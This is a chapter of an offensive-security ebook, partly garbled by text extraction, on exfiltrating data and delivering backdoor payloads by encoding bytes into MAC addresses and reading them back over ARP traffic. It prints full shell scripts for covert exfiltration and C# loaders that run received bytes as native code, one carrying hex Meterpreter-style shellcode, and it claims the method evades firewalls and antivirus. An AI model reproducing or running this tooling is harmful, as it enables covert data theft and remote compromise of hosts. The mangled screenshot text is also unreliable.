#Injecting text:	"ansfe" to Mac via Address 00:61:6e	:73:66:65	[;)] your	Injected Bytes via Mac	Addresses:	54.72 88.61.64	73.66.65 00.73.73.60	6a-67 00-2	8-76-60	
#Injecting text:	"rring" to Mac via Address 00:/2:/2 " via " to Mac via Address 00:20:76	2:69:60:61:20	:61:20 00:	22:41:52:50:22 00:20:54	4:72:61:66 00:6	6:69:63:2e:0a 00	:66:69:63:2e:0a 00:6	6:69:63:2e:	0a	
#Injecting text:	""ARP"" to Mac via Address 00:22:41	1:52:50:22	[;o] your 1	atare 1. ARP tra	affic step h	nv sten				
#Injecting text:	" Traf" to Mac via Address 00:20:54	1:72:61:66	Exfiltratio	n/Transferring via "A	RP <sup>®</sup> Traffic	sy step				
#injecting text:	"Tic." TO Mac Via Address 00:66:69: m# ifconfig   grep 101	63:2e:0a	fic.							
inet 192.1	168.56.101 netmask 255.255.255.0 b	proadcast 192.168.56.255	JILC.	~/Desktop# cat ops.sh						
root@kali:~/Deskte	op# chmod 775 MacChanger.sh		#!/bin/sh t=`awk {'i	print \$4'} \$1						
New MAC: 00	:45:78:66:69:6c (unknown)		# debug							
New MAC: 00	:74:72:61:74:69 (unknown)		for ops	in echo st p xxd -p;;						
New MAC: 00	:61:60:73:66:65 (unknown)		op	s1=`echo Sops   xxd -r						
New MAC: 00	:72:72:69:6e:67 (unknown)		op	s2=Fecho Sops   xxdU+r no Sops1 "==>" Sops2	-p   xxdL-ro-p					
New MAC: 00	:20:76:69:61:20 (REUDO CORPORATION)		doi	a bytes from						
New MAC: 00 New MAC: 00	:22:41:52:50:22 (Apple) :20:54:72:61:66 (Sycamore Networks)		echo [	)] your Injected Bytes	s via Mac Addre	sses:				
New MAC: 00	:66:69:63:2e:0a (unknown)		echo	60 bytes from						
root@kali:~/Deskt	op#		echo "[ echo	oj your Data : From						
-(			echo St	×xd -r -p						
			<u>S</u>		00 00 00	62	1100 100 50	101		2
				(						

Picture 19: using this Method with two scripts (Ops.sh and Exfiltration\_via\_ARP.sh)

#### Using this method with Scripts step by step :

First of all in this method you should have "static" IPv4 Address for "MacChanger" system .

As you can see with this "echo" command and "xxd" we can have something like this , in this case I used "-c 5" for chunking String by "5 bytes".

root@kali:~# echo "Exfiltration via ARP traffic."   x	kd -c 5	
0000000: 4578 6669 6c Exfil		
0000005: 7472 6174 69 trati		
000000a: 6f6e 2076 69  on vi		
000000f: 6120 4152 50  a ARP		
0000014: 2074 7261 66 traf		
0000019: 6669 632e 0a fic		

Part 2 (Infil/Exfiltration/Transferring Techniques by C#), Chapter 8 : Transferring Backdoor Payloads by ARP Traffic

now you can imagine this **45 78 66 69 6c + 00** will be one New Mac Address , how ? You can see in "step 0" we will have "NEW" Mac Address .

Step 0: 4578 6669 6c Exfil == > 00 + 45:78:66:69:6c == Mac Address ==> 00:45:78:66:69:6c Step 1: sudo ifconfig eth0 down; sudo macchanger -m 00:45:78:66:69:6c eth0; sudo ifconfig eth0 up; sleep 2;

as you can see in "step 1" we can have this Mac Address with Macchnager Command for changing our MAC Address to New "Fake MAC Address" very simply.

Step 2: 7472 6174 69 trati == > 00 + 74:72:61:74:69 == Mac Address ==> 00:74:72:61:74:69 Step 3: sudo ifconfig eth0 down; sudo macchanger -m 00:74:72:61:74:69 eth0; sudo ifconfig eth0 up; sleep 2;

you can compare this method via Scripts on Linux with Pictures "3 and 4" on Windows . So in "Picture 19" you can see how this Script "Exfiltration\_via\_ARP.sh" worked . **Code : Exfiltration via ARP.sh** 

#!/bin/sh echo " #!/bin/sh" for ops in `xxd -p -c 5 \$1 | sed 's/../&:/g``; do Exfil=`echo \$ops | sed 's/:\$/ /`` text=`echo \$Exfil | xxd -r -p` echo "#Injecting text: " \"\$text\" to Mac via Address 00:\$Exfil echo "sudo ifconfig eth0 down; sudo macchanger -m " 00:\$Exfil " eth0; sudo ifconfig eth0 up; sleep 2;" echo done

in this step we have something like these Commands like "Picture 19". Note : "demo.txt" is our text file for Exfiltration via ARP traffic to another system.

Steps for System with IPv4 Address : 192.168.56.101
Commands Step1: ./Exfiltration_via.sh demo.txt > MacChanger.sh
Commands Step2: chmod 775 MacChanger.sh
Commands Step3-1: ./MacChanger.sh   grep New
Steps for System with IPv4 Address : 192.168.56.1
Commands Step3-2: arping 192.168.56.101 -W 2 -c 11 > Data.txt
Commands Step4: ./ops.sh Data.txt
Note : Steps 3-1 and 3-2 should be at same time .

Step 3-2 : in this step you can get MAC Addresses via ARP traffic by arping command. Step 4 : in this step with Ops.sh you can translate these Mac-Addresses from Data.txt file , "Bytes" to "string".

Code : Ops.sh #!/bin/sh t=`awk {'print \$4'} \$1` # debug # echo \$t for ops in `echo \$t | xxd -p`; do ops1=`echo \$ops | xxd -r -p` ops2=`echo \$ops | xxd -r -p | xxd -r -p` echo \$ops1 "==>" \$ops2 done echo echo "[;)] your Injected Bytes via Mac Addresses: " echo `echo \$t echo echo "[;o] your Data : " echo echo \$t | xxd -r -p Scripts Source Code : https://github.com/DamonMohammadbagher/NativePayload ARP/tree/master/EBOOK

#### Linux systems and Transferring DATA/Payload via ARP Traffic (PART2)

in this "Part2" I want to show you how can do this method by Simple Script "NativePayload\_ARP.sh". in this script I used codes from "Part1" (**Exfiltration\_via\_ARP.sh** & **ops.sh**) so we have these code on Simple Script by "**NativePayload\_ARP.sh**"

#### Using NativePayload\_ARP.sh Step by step :

Step1 (Client Side) : in this step you can use switch "-s" for Injecting Text (Bytes) to Network Adapter "MAC Address" so your syntax in this step is :

Part 2 (Infil/Exfiltration/Transferring Techniques by C#), Chapter 8 : Transferring Backdoor Payloads by ARP Traffic

#### syntax : "NativePayload\_ARP.sh -s text-file.txt eth0 delay x"

example : "NativePayload\_ARP.sh -s 1.txt eth0 delay 3"



#### Picture 20:

Step2 (Server Side) : in this step you can get these Bytes from "Client Side" by Arp Scanning via Network-adapter "vboxnet0" so for doing this I used Arping tool (Sending arp request for 192.168.56.101 via Vboxnet0), in this step your syntax is :

#### syntax : "NativePayload\_ARP.sh -a vboxnet0 Target-IPv4 " example : "NativePayload\_ARP.sh -a vboxnet0 192.168.56.101"

File Machine	View Input Devices	Help						
Applications -	🗸 Places 👻 🔈 Termi	inal 🕶 Su	02:48		1	<b>i 💉 🕬 </b>	k <b>▼</b>	
#!	Open 👻 🖭	rapsforring data via arn t	1.txt ~/Desktop		Save		×	
NativePaylo	CHIS IS LEST IOI CI	ansierring data via arp t	Tanic					
ad_ARP.sh	nroot@kali: ~/Desktop			• •	8			
	File Edit View Search	h Terminal Help			Ln 1, Co	l1 ▼ INS	5	
1.txt	[!] your MAC Addres [>] [6] [30/09/2018 New MAC: 00:6	s is: 00:64:61:74:61:20 02:47:29] MAC Changing D 4:61:74:61:20 (unknown)						
	[]] your text is y						~/Desktop	0
M	[!] your MAC Addres	s is: 00:76:69:61:20:61	Fil	ile Edit View Search	Terminal H	Help		
ARPData.tx	[>] [7] [30/09/2018 New MAC: 00:7	02:47:32] MAC Changing D 6:69:61:20:61 (unknown)	one , Delay	:~/Des	ktop# ./N	ativePayload	ARP.sh -a vboxnet0 192.16	68.56.101
<u>E</u>			Nat	tivePayload_ARP.sh	, Publish	ed by Damon	Mohammadbagher 2017-2018	
3	<pre>[!] your text is: r [!] your MAC Addres [&gt;] [8] [30/09/2018</pre>	p tr s is: 00:72:70:20:74:72 8 02:47:35] MAC Changing D	Inj hel one , Delay is	jecting/Downloading lp syntax: ./Native : 3 (sec)	/Uploadin Payload_A	g DATA via A RP.sh help	ARP Traffic	
8		2:70:20:74:72 (unknown)		] [30/09/2018 06:17 ] [30/09/2018 06:17	:11] Scan :11] Star	ning Target t flag MAC A	[192.168.56.101] via Arpir Address Detected : 00:ff:f1	
	[!] your text is: a	iffic		] [30/09/2018 06:17	:46] Fini	sh flag MAC	Address Detected : 00:ff:0	00:ff:00:ff
8	[>] [9] [30/09/2018 New MAC: 00:6	02:47:39] MAC Changing D 1:66:66:69:63 (unknown)	one , Delay ARF	NativePayload_ARP.s RPData.txt	h: line 1	37: 3463 Te	erminated arpi	ing -1 \$2 \$3 -w 0
F			[!]	] Your Injected Byt	es via Ma	c Addresses:		5.65.00.72.20.74.
		s to (finis  <sub>00</sub>	00:6E:73:66:65:72:00:72:69:6E:67:20:00:64:61:74:61:20:00:76:69:61:20:61:00:72:70:20:					
		T:00:TT:00:TT (UNKNOWN)	00:	):61:66:66:69:63:00:	FF:00:FF:	00:FF:		
	root@kali:~/Desktop root@kali:~/Desktop	#	[1]	] [30/09/2018 06:17	:46] Your	Data :	up; sleep x;"	
•			thi	his is test for tran	sterring	data via arp	traffic	
				🗍 🕞 /Des	ktop#	🔟 🚫 💽 Right C	trl 🔰 🔻 Tab Width: 8 💌 🛛 Ln 20	8, Col 27 🔻 INS

Picture 21:

Part 2 (Infil/Exfiltration/Transferring Techniques by C#), Chapter 8 : Transferring Backdoor Payloads by ARP Traffic

as you can see in these "Pictures 20 & 21", Bytes for text file "1.txt" transferred from client to Server by ARP Traffic (after 36 Seconds).

**at a glance :** as you can see we can use MAC Address as Payload also we can use ARP traffic for DATA Exfiltration in LAN also with this method you can make one bridge between Virtual Machine to Physical Machine (using vboxnet0 interface) and "detecting this method by Firewalls and AVS is difficult".

```
NativePayload_ARP.sh
#!/bin/sh
echo
echo "NativePayload_ARP.sh , Published by Damon Mohammadbagher 2017-2018"
echo "Injecting/Downloading/Uploading DATA via ARP Traffic'
echo "help syntax: ./NativePayload_ARP.sh help'
echo
if [ $1 == "help" ]
tput setaf 2;
         echo
         echo "Example Step1: (Client Side ) ./NativePayload ARP.sh -s text-file eth0 delay x'
         echo "Example Step2: (Server Side ) ./NativePayload_ARP.sh -a vboxnet target-IPv4 "
         echo "example IPv4:192.168.56.101 : ./NativePayload_ARP.sh -s mytext.txt eth0 delay 3"
         echo "example IPv4:192.168.56.1 : ./NativePayload_ARP.sh -a vboxnet 192.168.56.101 "
         echo "Description: with Step1 you will inject Data to MAC address for eth0, with Step2 you can have this text file via Scanning target-system by ARP
traffic (Using Arping tool)
         echo
# ./NativePayload ARP.sh -s mytext.txt eth0 delay 3
if [ $1 == "-s" ]
hen
                   echo "[!] Changing MAC Address via macchanger Tool"
                   counter=0
                   Defdelay=3
                   if [ $4 == "delay" ]
                             ther
                             Defdelay=$5
                             elif [ -z "$4" ]
                             ther
                             Defdelay=3
                   fi
         # start flag
         Time=`date '+%d/%m/%Y %H:%M:%S'`
         echo "[>] [$Time] Changing MAC Address to start ... (Delay 5 sec)"
         sudo ifconfig $3 down; sudo macchanger -m 00:ff:ff:ff:ff $3 | grep New; sudo ifconfig $3 up; sleep 5;
         echo
         for ops in `xxd -p -c 5 $2 | sed 's/../&:/g' `;
         do
                   Exfil=$ops
                   Exfil=`echo $Exfil `
                   if (( `echo ${#Exfil}` == 15 ))
                   ther
                   tput setaf 7;
                   echo "[!] your text is:" `echo $Exfil | xxd -r -p `
                   tput setaf 6;
                   echo "[!] your MAC Address is:" 00:"${Exfil::-1}"
                   #echo "sudo ifconfig eth0 down; sudo macchanger -m " 00:"${Exfil::-1}" " eth0; sudo ifconfig eth0 up; sleep x;"
                   tput setaf 9;
                    Time=`date '+%d/%m/%Y %H:%M:%S'`
                   echo "[>] [$counter] [$Time] MAC Changing Done, Delay is :" $Defdelay "(sec)"
                   sudo ifconfig $3 down;sudo macchanger -m 00:"${Exfil::-1}" $3 | grep New; sudo ifconfig $3 up; sleep $Defdelay;
                   ((counter++))
                   echo -
         done
                   # finish flag
                   echo
                    Time=`date '+%d/%m/%Y %H:%M:%S'`
                   echo "[>] [$Time] Changing MAC Address to (finish flag)"
                   sudo ifconfig $3 down; sudo macchanger -m 00:ff:00:ff:00:ff $3 | grep New; sudo ifconfig $3 up; sleep $Defdelay;
                   echo
#./NativePayload ARP.sh -a eth0 192.168.56.101
if [ $1 == "-a" ]
then
```

# this ARPData.txt file tested by Arping version: "arping utility, iputils-s20161105" and "kali linux 2018.2"

Part 2 (Infil/Exfiltration/Transferring Techniques by C#), Chapter 8 : Transferring Backdoor Payloads by ARP Traffic

```
# some arping switches changed by old/new versions
    arping -I $2 $3 -w 0 -b > ARPData.txt &
    init=0
    Time=`date '+%d/%m/%Y %H:%M:%S'`
    echo "[!] [$Time] Scanning Target [$3] via Arping by delay (1 sec)."
    while true: do
    String=`cat ARPData.txt | grep -e 00:ff:00:ff:00:ff -e 00:FF:00:FF:00:FF
    #printf '\u2591\n'
    #printf '\u2592\n
    .
#printf '\u2593\n'
    if (( init == 0 ))
    then
Startflag=`cat ARPData.txt | grep -e 00:ff:ff:ff:ff:ff -e 00:FF:FF:FF:FF:FF
              if (( `echo ${#Startflag}` !=0 ))
              ther
              tput setaf 6;
              Time=`date '+%d/%m/%Y %H:%M:%S'`
              echo "[!] [$Time] Start flag MAC Address Detected :" 00:ff:ff:ff:ff:ff
              ((init++))
    fi
    if (( `echo ${#String}` !=0 ))
              killall arping
              tput setaf 6;
              Time=`date '+%d/%m/%Y %H:%M:%S'`
              echo "[!] [$Time] Finish flag MAC Address Detected :" 00:ff:00:ff:00:ff
              break
              fi
    sleep 1
    done
    ###
    LastMacAddress=""
    FinalPayload='
    # this ARPData.txt file tested by Arping version: "arping utility, iputils-s20161105"
    # some arping switches changed by old/new versions
    # ARPData.txt , Dumping MAC : xx:xx:xx:xx:xx:xx
    # Unicast reply from 192.168.56.101 [xx:xx:xx:xx:xx] 0.864ms
    # Unicast reply from 192.168.56.101 [00:FF:FF:FF:FF] 0.864ms
    # Unicast reply from 192.168.56.101 [00:74:68:69:73:20] 1.012ms
    for MacAddresses in `cat ARPData.txt | grep Unicast | awk {'print $5'} | sed 's/[/ /g' | sed 's/]/ /g'`;
    do
              # echo $MacAddresses
              # echo $LastMacAddress
              # echo
              if [[ `echo $MacAddresses` != `echo $LastMacAddress` ]]
              then
                        FinalPayload+=`echo $MacAddresses`:
                        #echo "Debug"
              fi
    LastMacAddress=$MacAddresses
    done
    tput setaf 7;
    echo
    echo "[!] Your Injected Bytes via Mac Addresses: "
    echo $FinalPayload
    echo
    tput setaf 6;
    Time=`date '+%d/%m/%Y %H:%M:%S'
    echo "[!] [$Time] Your Data : "
    echo
    echo "${FinalPayload:17:-17}" | xxd -r -p
    echo
    echo
```

Github C# : https://github.com/DamonMohammadbagher/NativePayload\_ARP

#### NativePayload\_ARP.cs

using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.Runtime.InteropServices; using System.Net; using System.Reflection; using System.Runtime.CompilerServices;

namespace NativePayload\_ARP

{

Part 2 (Infil/Exfiltration/Transferring Techniques by C#) , Chapter 8 : Transferring Backdoor Payloads by ARP Traffic

```
class Program
    private static Int32 ConvertIPToInt32(IPAddress pIPAddr)
       byte[] IByteAddress = pIPAddr.GetAddressBytes();
       return BitConverter.ToInt32(IByteAddress, 0);
    }
     [DllImport("Iphlpapi.dll", EntryPoint = "SendARP")]
    internal extern static Int32 SendArp(Int32 destIpAddress, Int32 srcIpAddress, byte[] macAddress, ref Int32 macAddressLength);
    // public static string[] ARP_Payload;
    public static string Arps = "";
     static void Main(string[] args)
    {
       Console.WriteLine();
       Console.ForegroundColor = ConsoleColor.DarkGreen;
       Console.WriteLine("NativePayload_ARP v1.0 Tool : Transfer Backdoor Payload by ARP Traffic");
       Console.WriteLine("Published by Damon Mohammadbagher");
       Console.WriteLine();
       Console.ForegroundColor = ConsoleColor.DarkCyan;
       Console.WriteLine("Unknown Mac Address Displayed by Red Color");
       Console.WriteLine("Getting Injected MacAddress By ARP Traffic (Slow)");
       Console.ForegroundColor = ConsoleColor.Gray;
       Console.WriteLine();
       string Target_IPaddress_ARP_Request = "";
string local_IPaddress_ARP_Request = "";
       try
       {
         if (args.Length >= 1)
         {
            Target_IPaddress_ARP_Request = args[0].ToString();
         else
         ł
            Console.ForegroundColor = ConsoleColor.Gray;
            Console.WriteLine("Please type Target System IPaddress for Sending ARP Request");
Target_IPaddress_ARP_Request = Console.ReadLine();
            Console.ForegroundColor = ConsoleColor.Gray;
            Console.WriteLine("Please type your Local IPaddress for Sending ARP Request by this IP");
            local_IPaddress_ARP_Request = Console.ReadLine();
         }
       1
       catch (Exception e1)
         Console.ForegroundColor = ConsoleColor.Gray;
         Console.WriteLine("error 1: {0}", e1.Message);
       Console.ForegroundColor = ConsoleColor.Yellow;
       Console.WriteLine("Start time : {0}", DateTime.Now.ToString());
       string temp_arps = "";
       string temp_arps_2 = ""
       byte[] mac = new byte[6];
       byte[] temp_mac = new byte[6];
       int maclen = 0;
       bool init = false;
       int init_countdown = 0;
       List<string> MacAddress = new List<string>();
       try
       {
         while (true)
            maclen = mac.Length;
            int mac = SendArp(ConvertIPToInt32(IPAddress.Parse(Target IPaddress ARP Request)),
ConvertIPToInt32(IPAddress.Parse(local_IPaddress_ARP_Request)), mac, ref maclen);
            System.Threading.Thread.Sleep(1000);
            if (_mac == 0)
               temp arps = ""
               temp_arps_2 = "";
               Console.ForegroundColor = ConsoleColor.Green;
              Console.Write("Found "+":");
               string srt_ip = Target_IPaddress_ARP_Request;
               Console.Write("Get Mac ==> " + srt ip + " MacAddress : ");
              foreach (byte item in mac)
                 if ((Convert.ToInt32(mac[0]) != 0))
```

Part 2 (Infil/Exfiltration/Transferring Techniques by C#), Chapter 8 : Transferring Backdoor Payloads by ARP Traffic

```
/// if first section of MAC address != 00 then show that by Red Color
                   /// this code added for macchanger in linux when this tool sent Unknown Mac to Backdoor system
                   Console.ForegroundColor = ConsoleColor.Red;
                 else if ((Convert.ToInt32(mac[0]) == 0))
                   Console.ForegroundColor = ConsoleColor.Green;
                 Console.Write(item.ToString("x2") + " ");
                 temp_arps += item.ToString("x2");
                 temp_arps_2 += item.ToString("x2");
              Console.WriteLine();
              Arps += temp_arps.Remove(0, 2);
              string tmp = temp_arps.Remove(0, 2);
              if (MacAddress.Count == 0 && tmp.ToString() != "ffffffffff" && tmp.ToString() != "ff00ff00ff" && init && temp arps 2.ToString().Substring(0, 2) ==
"00")
              {
                 MacAddress.Add(tmp);
                 Console.ForegroundColor = ConsoleColor.Cyan;
                 Console.WriteLine("[" + init_countdown.ToString() + "] Dumping Bytes: " + MacAddress.AsEnumerable().AsQueryable().Last().ToString();
              else
                 /// time to exit and execute Payload ;-/
                 if (tmp.ToString() == "fffffffff" && init) { break; }
                 //if (Arps.ToString() == "fffffffff") { break; }
                 /// time to strat and dump Payload ;-/
                 if (temp arps 2.ToString() == "00ff00ff00ff") { init = true; init countdown++; }
                 if (init)
                 {
                   if (MacAddress.Capacity != 0 && MacAddress.AsEnumerable().Last().ToString() != tmp && init countdown > 1 &&
temp_arps_2.ToString().Substring(0, 2) == "00")
                   {
                      MacAddress.Add(tmp);
                      Console.ForegroundColor = ConsoleColor.Cyan;
                      Console.WriteLine("[" + init_countdown.ToString() + "] Dumping Bytes: " + MacAddress.AsEnumerable().AsQueryable().Last().ToString());
                   init countdown++;
                }
              }
            }
            else if (_mac == 67)
              Console.ForegroundColor = ConsoleColor.DarkGreen;
              Console.Write("NotFound" + " : ");
              string srt_ip = Target_IPaddress_ARP_Request;
              Console.Write("Get Mac ==> " + srt_ip + " MacAddress : ");
              foreach (byte item in mac)
                 Console.Write(item.ToString("x2") + " ");
              Console.WriteLine();
            temp_mac = mac;
            System.Threading.Thread.Sleep(4000);
         1
       catch (Exception e2)
       {
         Console.ForegroundColor = ConsoleColor.Gray;
         Console.WriteLine("error 2: {0}", e2.Message);
       Console.WriteLine();
       Console.WriteLine();
       /// for debug only
       Console.ForegroundColor = ConsoleColor.DarkGreen;
       Console.WriteLine("Debug Mode , Dumping this payload by ARP Traffic:");
       Console.WriteLine("Debug Mode, you can compare this Dump Data by your Source Payload \"Meterpreter msfvennom C type payload\"");
       Console.ForegroundColor = ConsoleColor.DarkGreen;
       foreach (string item in MacAddress)
       ł
         Console.Write(item);
       Console.WriteLine();
       Console.ForegroundColor = ConsoleColor.Gray;
       /// time to execute
       byte[] _X_Bytes = new byte[MacAddress.Capacity * 5];
       int b = 0;
```

Part 2 (Infil/Exfiltration/Transferring Techniques by C#) , Chapter 8 : Transferring Backdoor Payloads by ARP Traffic

```
foreach (string X_item in MacAddress)
          for (int i = 0; i <= 8;)
            /// for debug only
            /// string MacAddress Octets = X item.ToString().Substring(i, 2);
             X_Bytes[b] = Convert.ToByte("0x" + X_item.ToString().Substring(i, 2), 16);
            b++
            i++; i++;
         }
       try
       {
          Console.ForegroundColor = ConsoleColor.Yellow;
          Console.WriteLine("End time : {0}", DateTime.Now.ToString());
          Console.ForegroundColor = ConsoleColor.Gray;
          Console.WriteLine("Bingo Meterpreter session by ARP Traffic ;)");
UInt32 funcAddr = VirtualAlloc(0, (UInt32)_X_Bytes.Length, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
          Marshal.Copy(_X_Bytes, 0, (IntPtr)(funcAddr), _X_Bytes.Length);
          IntPtr hThread = IntPtr.Zero;
          UInt32 threadId = 0:
          IntPtr pinfo = IntPtr.Zero;
          // execute native code
          hThread = CreateThread(0, 0, funcAddr, pinfo, 0, ref threadId);
          WaitForSingleObject(hThread, 0xFFFFFFF);
       catch (Exception e3)
       {
          Console.ForegroundColor = ConsoleColor.Gray;
          Console.WriteLine("error 3: {0}", e3.Message);
       }
     private static UInt32 MEM_COMMIT = 0x1000;
     private static UInt32 PAGE EXECUTE READWRITE = 0x40;
     [DllImport("kernel32")]
     private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr, UInt32 size, UInt32 flAllocationType, UInt32 flProtect);
     [DllImport("kernel32")]
     private static extern bool VirtualFree(IntPtr IpAddress, UInt32 dwSize, UInt32 dwFreeType);
     [DllImport("kernel32")]
     private static extern IntPtr CreateThread(UInt32 lpThreadAttributes, UInt32 dwStackSize, UInt32 lpStartAddress, IntPtr param, UInt32 dwCreationFlags, ref
UInt32 lpThreadId);
     [DllImport("kernel32")]
     private static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);
 }
```

#### Payload\_to\_Mac.cs

```
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using Microsoft.Win32;
using System. Management. Instrumentation;
using System.Management;
using System Reflection;
using System.Runtime.CompilerServices;
using System.Runtime.InteropServices;
namespace Payload_to_Mac
 class Program
 {
   static string payload = "fc4883e4f0e8cc0000004151415052"
     + "51564831d265488b5260488b521848"
     + "8b5220488b7250480fb74a4a4d31c9"
     + "4831c0ac3c617c022c2041c1c90d41"
     + "01c1e2ed524151488b52208b423c48"
     + "01d0668178180b020f8572000008b"
     + "80880000004885c074674801d0508b"
     + "4818448b40204901d0e35648ffc941"
     + "8b34884801d64d31c94831c0ac41c1"
     + "c90d4101c138e075f14c034c240845"
     + "39d175d858448b40244901d066418b"
     + "0c48448b401c4901d0418b04884801"
     + "d0415841585e595a41584159415a48"
     + "83ec204152ffe05841595a488b12e9"
     + "4bfffff5d49be7773325f33320000"
     + "41564989e64881eca00100004989e5"
     + "49bc0200115cc0a8013241544989e4"
```

Part 2 (Infil/Exfiltration/Transferring Techniques by C#) , Chapter 8 : Transferring Backdoor Payloads by ARP Traffic

```
+ "4c89f141ba4c772607ffd54c89ea68"
      + "010100005941ba29806b00ffd56a05"
      + "415e50504d31c94d31c048ffc04889"
      + "c248ffc04889c141baea0fdfe0ffd5"
      + "4889c76a1041584c89e24889f941ba"
      + "99a57461ffd585c0740a49ffce75e5"
      + "e8930000004883ec104889e24d31c9"
      + "6a0441584889f941ba02d9c85fffd5"
      + "83f8007e554883c4205e89f66a4041"
      + "59680010000041584889f24831c941"
      + "ba58a453e5ffd54889c34989c74d31"
      + "c94989f04889da4889f941ba02d9c8"
      + "5fffd583f8007d2858415759680040"
      + "000041586a005a41ba0b2f0f30ffd5"
      + "575941ba756e4d61ffd549ffcee93c"
      + "ffffff4801c34829c64885f675b441"
      + "ffe7586a005949c7c2f0b5a256ffd5";
    static void Main(string[] args)
    {
       try
       {
         Console.WriteLine();
         Console.WriteLine(),
Console.ForegroundColor = ConsoleColor.Green;
Console.WriteLine("Payload_to_Mac v1.0 Tool (MacChanger) ");
Console.WriteLine("Published by Damon Mohammadbagher");
         Console.ForegroundColor = ConsoleColor.Yellow;
         Console WriteLine("Warning : You should RunAs Administrator this tool for changing Mac Address");
         Console.ForegroundColor = ConsoleColor.DarkYellow;
         Console WriteLine("Warning : this code tested with Win7x64-SP1");
Console WriteLine("Warning : Win8 , Win10 Not Tested ;)");
         Console.ForegroundColor = ConsoleColor.Cyan;
         Console.WriteLine("Step I syntax 0 : Payload_to_Mac.exe null");
Console.WriteLine("Step I syntax 1 (Windows) : Payload_to_Mac.exe null \"PAYLOAD\" ");
Console.WriteLine("Step I Example 1: Payload_to_Mac.exe null \"5fffd583f8007d2858415759680040\" ");
         Console.ForegroundColor = ConsoleColor.Cyan;
         Console.WriteLine("Step I syntax 0 : Payload_to_Mac.exe lin");
Console.WriteLine("Step I syntax 1 (Linux) : Payload_to_Mac.exe lin \"PAYLOAD\" ");
Console.WriteLine("Step I Example 1: Payload_to_Mac.exe lin \"5fffd583f8007d2858415759680040\" ");
         Console.ForegroundColor = ConsoleColor.DarkCyan;
         Console.WriteLine("Step II syntax 2 : Payload_to_Mac.exe Regkey_Parent [00+Payload] \"Connection Name\" ");
Console.WriteLine("Step II Example 2: Payload_to_Mac.exe 0007 005fffd583f8 \"Local Area Connection\" ");
         Console.ForegroundColor = ConsoleColor.DarkRed;
         Console.WriteLine(@"Check your Parent Regkey in this address: ");
Console.WriteLine(@"SYSTEM\CurrentControlSet\Control\Class\{4D36E972-E325-11CE-BFC1-08002BE10318}\");
         Console ForegroundColor = ConsoleColor Gray;
         if (args.Length >= 1 && (args[0].ToUpper() == "NULL" || args[0].ToUpper()=="LIN") )
         {
            Console.ForegroundColor = ConsoleColor.Red;
            Console.WriteLine();
            if (args[0] ToUpper() == "NULL")
            {
              Console.WriteLine("Copy these lines to one BAT file ;)");
              Console WriteLine("You should RunAs Administrator this BAT file");
              Console.WriteLine();
            else if (args[0].ToUpper() == "LIN")
            {
              Console.WriteLine("Copy these lines to one Bash Script file for Linux ;)");
              Console.WriteLine();
              Console.ForegroundColor = ConsoleColor.Gray;
              Console.WriteLine(" #!/bin/bash");
Console.WriteLine("sudo ifconfig eth0 down; sudo macchanger -m " + "00:ff:00:ff:00:ff" + " eth0; sudo
ifconfig eth0 up; sleep 10;");
            Console.ForegroundColor = ConsoleColor.Gray;
            if (args.Length >= 2 && args[1] != null) { payload = args[1].ToString(); }
            int b = 0;
            string temp = "";
            string temp_mac_addresses = "";
            foreach (char item in payload)
            {
              temp += item;
              b++;
              if (b >= 10)
              {
                if (args[0].ToUpper() == "NULL")
    Console.Write("Payload_to_Mac.exe " + "0007" + " " + "00" + temp + " \"Local Network Connection\"");
if (args[0].ToUpper() == "LIN")
                 {
                   /// 00:48:31:c0:ac:3c ==> "00" + 48:31:c0:ac:3c
                   for (int i = 0; i < 10;)</pre>
```

Part 2 (Infil/Exfiltration/Transferring Techniques by C#) , Chapter 8 : Transferring Backdoor Payloads by ARP Traffic

```
temp_mac_addresses += temp.Substring(i, 2) + ":";
                  i++;
                  i++;
                Console.Write("sudo ifconfig eth0 down; sudo macchanger -m "+"00:"+
temp_mac_addresses.Substring(0,temp_mac_addresses.Length-1) + " eth0; sudo ifconfig eth0 up; sleep 10;");
              Console.WriteLine(""); b = 0;
temp = "";
              temp_mac_addresses = "";
           }
          }
          if (args[0].ToUpper() == "LIN")
           Console WriteLine("sudo ifconfig eth0 down; sudo macchanger -m "+"00:ff:ff:ff:ff:ff:ff:+ " eth0; sudo
ifconfig eth0 up; sleep 10;");
          Console.WriteLine("");
          Console.WriteLine("rem PAYLOAD : " + payload);
       else if (args.Length >= 1)
       {
         string __RegkeyParentkeyNumber = "0007";
string NIC_Name = "Local Network Connection";
          NIC_Name = args[2].ToString();
            RegkeyParentkeyNumber = args[0].ToString();
          string regkeyadd = args[1].ToString();
          Console.ForegroundColor = ConsoleColor.DarkGreen;
          Console.WriteLine("Disable NIC ");
          SelectQuery wmiQuery = new SelectQuery("SELECT * FROM Win32_NetworkAdapter WHERE NetConnectionId != NULL");
          ManagementObjectSearcher searchProcedure = new ManagementObjectSearcher(wmiQuery);
          foreach (ManagementObject item in searchProcedure.Get())
          ł
            if (((string)item["NetConnectionId"]) == NIC_Name)
            {
              item.InvokeMethod("Disable", null);
            }
          3
          Console.ForegroundColor = ConsoleColor.DarkGreen;
          Console.WriteLine("Set Payload to mac ");
          RegistryKey rkey;
          /// for win10 i think this regkey "RKEY" address should be CHANGE ;-/
/// this code tested with win7x64-sp1
          rkey = Registry.LocalMachine.CreateSubKey(@"SYSTEM\CurrentControlSet\Control\Class\{4D36E972-E325-11CE-BFC1-
08002BE10318}\" + ___RegkeyParentkeyNumber);
         rkey.SetValue("NetworkAddress", regkeyadd);
System.Threading.Thread.Sleep(6000);
Console.WriteLine("Enable NIC ");
          SelectQuery wmiQuery2 = new SelectQuery("SELECT * FROM Win32_NetworkAdapter WHERE NetConnectionId != NULL");
          ManagementObjectSearcher searchProcedure2 = new ManagementObjectSearcher(wmiQuery2);
          foreach (ManagementObject item in searchProcedure2.Get())
          {
            if (((string)item["NetConnectionId"]) == NIC_Name)
            {
              item.InvokeMethod("Enable", null);
            }
          Console.ForegroundColor = ConsoleColor.Green;
          Console.WriteLine("Mac Set : {0}", regkeyadd);
          Console.ForegroundColor = ConsoleColor.DarkGreen;
          System.Threading.Thread.Sleep(10000);
       }
     }
     catch (Exception e)
      {
       Console.WriteLine("Error 1: {0}", e.Message);
     }
   private const string baseReg = @"SYSTEM\CurrentControlSet\Control\Class\{4D36E972-E325-11CE-BFC1-08002bE10318}\";
   public static bool SetMAC(string nicid, string newmac)
     bool ret = false;
